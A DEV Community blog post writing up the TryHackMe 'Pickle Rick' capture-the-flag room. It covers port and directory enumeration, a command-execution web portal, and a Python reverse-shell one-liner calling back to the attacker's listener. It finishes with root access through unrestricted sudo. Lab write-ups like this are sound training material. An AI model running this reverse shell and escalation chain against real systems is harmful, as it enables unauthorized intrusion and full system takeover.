DEV Community

Cover image for Pickle Rick - TryHackMe Writeup
Rupam Ghosh
Rupam Ghosh

Posted on

Pickle Rick - TryHackMe Writeup

#cybersecurity #ctf #writeup #tryhackme

Today we are doing another easy THM room - Pickle Rick.

The goal is simple. We have to find 3 flags, or more like 3 ingredients. whatever

Enumeration

First, export the target IP

export IP=10.49.150.88
Enter fullscreen mode Exit fullscreen mode

Visit the website. It gives you a pretty obvious hint:

# Help Morty!

Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back!

I need you to ***BURRRP***....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is, I have no idea what the ***BURRRRRRRRP***, password was! Help Morty, Help!
Enter fullscreen mode Exit fullscreen mode

Check the source code as well.

You will find:

<!-- Note to self, remember username! Username: R1ckRul3s -->
Enter fullscreen mode Exit fullscreen mode

So we have the username:

R1ckRul3s
Enter fullscreen mode Exit fullscreen mode

Nmap

Now run a quick Nmap scan:

nmap $IP
Enter fullscreen mode Exit fullscreen mode 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-01 22:24 IST
Nmap scan report for 10.49.150.88
Host is up (0.40s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 2 IP addresses (1 host up) scanned in 32.65 seconds
Enter fullscreen mode Exit fullscreen mode

We have SSH and HTTP open, and we already have a username.

You can try Hydra against SSH, but password authentication is disabled, so it won't work here.

Let's move on to the web server.

Directory Enumeration

Use Gobuster to enumerate the website:

gobuster dir -u "http://$IP" -w /usr/share/seclists/Discovery/Web-Content/common.txt
Enter fullscreen mode Exit fullscreen mode

You should get something like:

/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/assets               (Status: 301) [Size: 317] [--> http://10.145.177.117/assets/]
/index.html           (Status: 200) [Size: 1062]
/robots.txt           (Status: 200) [Size: 17]
/server-status        (Status: 403) [Size: 279]
Enter fullscreen mode Exit fullscreen mode

Check robots.txt:

Wubbalubbadubdub
Enter fullscreen mode Exit fullscreen mode

Nothing useful here tho.

You can find /login.php.

We already know the username and password so use them to log in.

Finding the First Ingredient

After logging in, check /portal.php.

You will find a command field that lets you run commands.

We cant run cat so we need to check for other ways.

We find a Base64 encoded string while viewing the page source:

Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==
Enter fullscreen mode Exit fullscreen mode

Decode it repeatedly.

After decoding it multiple times, you will eventually get:

rabbit hole
Enter fullscreen mode Exit fullscreen mode

Maybe that's another hint to keep looking.

Getting a Reverse Shell

Now check the current user's sudo permissions:

sudo -l
Enter fullscreen mode Exit fullscreen mode

You should see:

Matching Defaults entries for www-data on ip-10-146-142-225:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-146-142-225:
    (ALL) NOPASSWD: ALL
Enter fullscreen mode Exit fullscreen mode

Crazy.

www-data can run anything as root without a password.

First, get a reverse shell.

On your machine, use:

ip addr
Enter fullscreen mode Exit fullscreen mode

to find your IP address.

Start a Netcat listener:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Then put a reverse shell payload into the web command field:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.192.7",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
Enter fullscreen mode Exit fullscreen mode

You can also find different reverse shell payloads on revshells.com

Once executed, you should get a reverse shell in your terminal.

Privilege Escalation

Since www-data has NOPASSWD: ALL, privilege escalation is extremely simple.

Run:

sudo su
Enter fullscreen mode Exit fullscreen mode

Check your current user:

whoami
Enter fullscreen mode Exit fullscreen mode

You should get:

root
Enter fullscreen mode Exit fullscreen mode

And now we are root.

Finding the Flags

Since we are root, we can navigate through the system and access the flags.

For example:

ls /root/
Enter fullscreen mode Exit fullscreen mode

Output:

3rd.txt  snap
Enter fullscreen mode Exit fullscreen mode

You can now find the remaining ingredients/flags throughout the system.

And that's it.

Thanks for reading.

Top comments (0)